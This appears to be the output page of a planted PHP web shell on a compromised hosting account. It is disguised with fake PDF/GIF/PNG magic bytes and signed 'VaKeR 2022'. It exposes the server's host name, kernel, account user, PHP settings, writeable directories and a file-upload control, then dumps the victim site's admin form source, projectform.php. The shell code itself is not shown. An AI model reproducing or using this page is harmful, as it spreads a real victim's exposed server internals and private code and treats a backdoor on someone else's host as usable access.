%PDF- %GIF98; %PNG; .
Cyber Programmer
Logo of a company Server : Apache
System : Linux sh00666.bluehost.com 5.14.0-687.26.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Jul 14 16:32:02 EDT 2026 x86_64
User : ndkhermy ( 1200)
PHP Version : 8.5.12
Disable Function : NONE
Directory :  /home1/ndkhermy/public_html/website_6ca89795/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home1/ndkhermy/public_html/website_6ca89795/admin/projectform.php
<?php
include('../dbcon.php');
include('header.php');
include('function.php');

$sid = isset($_GET['sid']) ? intval($_GET['sid']) : 0;
$updateabout = [];

if ($sid) {
    // Corrected SQL query
    $sql = "SELECT a.*, c.category 
            FROM `areawecover` a 
            LEFT JOIN `arawecovercategory` c ON a.category_id = c.id 
            WHERE a.id = '$sid'";

    $run = mysqli_query($conn, $sql);
    if ($run && mysqli_num_rows($run) > 0) {
        $updateabout = mysqli_fetch_assoc($run);
    } else {
        echo "<script>
                alert('Invalid Service ID.');
                window.history.back();
              </script>";
        exit();
    }
}
?>

<div class="container">
    <div class="title"><?php echo $sid ? "Update Our Projects" : "Add New Project"; ?></div>
    <script src="https://cdn.ckeditor.com/4.16.2/standard/ckeditor.js"></script>

    <!-- Form Start -->
    <form action="projectupdatedata.php" method="post" enctype="multipart/form-data">
        <div class="form-group">
            <label for="category_id">Category</label>
            <select class="form-control" name="category_id">
                <?php
                $categorySql = "SELECT * FROM `arawecovercategory`";  // Corrected table name
                $categoryResult = mysqli_query($conn, $categorySql);
                while ($category = mysqli_fetch_assoc($categoryResult)) {
                    $selected = ($updateabout['category_id'] == $category['id']) ? 'selected' : '';
                    echo "<option value='{$category['id']}' $selected>{$category['category']}</option>";
                }
                ?>
            </select>
        </div>

        <!-- Title -->
        <div class="form-group">
            <label for="title">Product Name</label>
            <input type="text" class="form-control" name="title" value="<?php echo htmlspecialchars($updateabout['title'] ?? ''); ?>" required>
        </div>

        <!-- Page Title -->
        <div class="form-group">
            <label for="page_title">Page Title</label>
            <input type="text" class="form-control" name="page_title" value="<?php echo htmlspecialchars($updateabout['page_title'] ?? ''); ?>" required>
        </div>

        <!-- Description -->
        <div class="form-group">
            <label for="description">Description</label>
            <textarea class="form-control" name="description" placeholder="Description" required><?php echo htmlspecialchars($updateabout['description'] ?? ''); ?></textarea>
        </div>

        <!-- Keywords -->
        <div class="form-group">
            <label for="keywords">Keywords</label>
            <textarea class="form-control" name="keywords"><?php echo htmlspecialchars($updateabout['keywords'] ?? ''); ?></textarea>
        </div>

        <!-- Robots -->
        <div class="form-group">
            <label for="robots">Robots</label>
            <input type="text" class="form-control" name="robots" value="<?php echo htmlspecialchars($updateabout['robots'] ?? ''); ?>">
        </div>

        <!-- Canonical -->
        <div class="form-group">
            <label for="canonical">Canonical</label>
            <input type="text" class="form-control" name="canonical" value="<?php echo htmlspecialchars($updateabout['canonical'] ?? ''); ?>">
        </div>

        <!-- Title Slug -->
        <div class="form-group">
            <label for="titleslug">Title Slug</label>
            <textarea class="form-control" name="titleslug"><?php echo htmlspecialchars($updateabout['titleslug'] ?? ''); ?></textarea>
        </div>

        <!-- Content -->
        <div class="form-group">
            <label for="content">Content</label>
            <textarea id="content" name="content"><?php echo htmlspecialchars($updateabout['content'] ?? ''); ?></textarea>
        </div>

        <!-- Content Arabic -->
        <div class="form-group">
            <label for="content_ar">Content (Arabic)</label>
            <textarea id="content_ar" name="content_ar"><?php echo htmlspecialchars($updateabout['content_ar'] ?? ''); ?></textarea>
        </div>

        <div class="form-group">
            <label for="content">Content 2</label>
            <textarea id="content" name="content2"><?php echo htmlspecialchars($updateabout['content2'] ?? ''); ?></textarea>
        </div>
        <div class="form-group">
            <label for="content">Content 2 In Arbic</label>
            <textarea id="content" name="content2_ar"><?php echo htmlspecialchars($updateabout['content2_ar'] ?? ''); ?></textarea>
        </div>

        <!-- Image -->
        <div class="form-group">
            <label for="image">Image</label>
            <input type="file" class="form-control" name="image">
            <?php if (!empty($updateabout['image'])): ?>
                <p>Current Image: <img src="<?php echo htmlspecialchars($updateabout['image']); ?>" width="150" alt="Current Image"></p>
            <?php endif; ?>
        </div>

        <?php if ($sid): ?>
            <input type="hidden" name="sid" value="<?php echo $sid; ?>">
        <?php endif; ?>

        <button type="submit" name="submit" class="btn btn-primary">Submit</button>
    </form>

    <!-- CKEditor Initialization -->
    <script>
        CKEDITOR.replace('content');
        CKEDITOR.replace('content_ar');
        CKEDITOR.replace('content2');
        CKEDITOR.replace('content2_ar');
    </script>
</div>




<!-- Core Scripts -->
<script src="../assets/vendor/libs/jquery/jquery.js"></script>
<script src="../assets/vendor/libs/popper/popper.js"></script>
<script src="../assets/vendor/js/bootstrap.js"></script>
<script src="../assets/vendor/libs/perfect-scrollbar/perfect-scrollbar.js"></script>
<script src="../assets/vendor/js/menu.js"></script>
<script src="../assets/js/main.js"></script>
<script async defer src="https://buttons.github.io/buttons.js"></script>

VaKeR 2022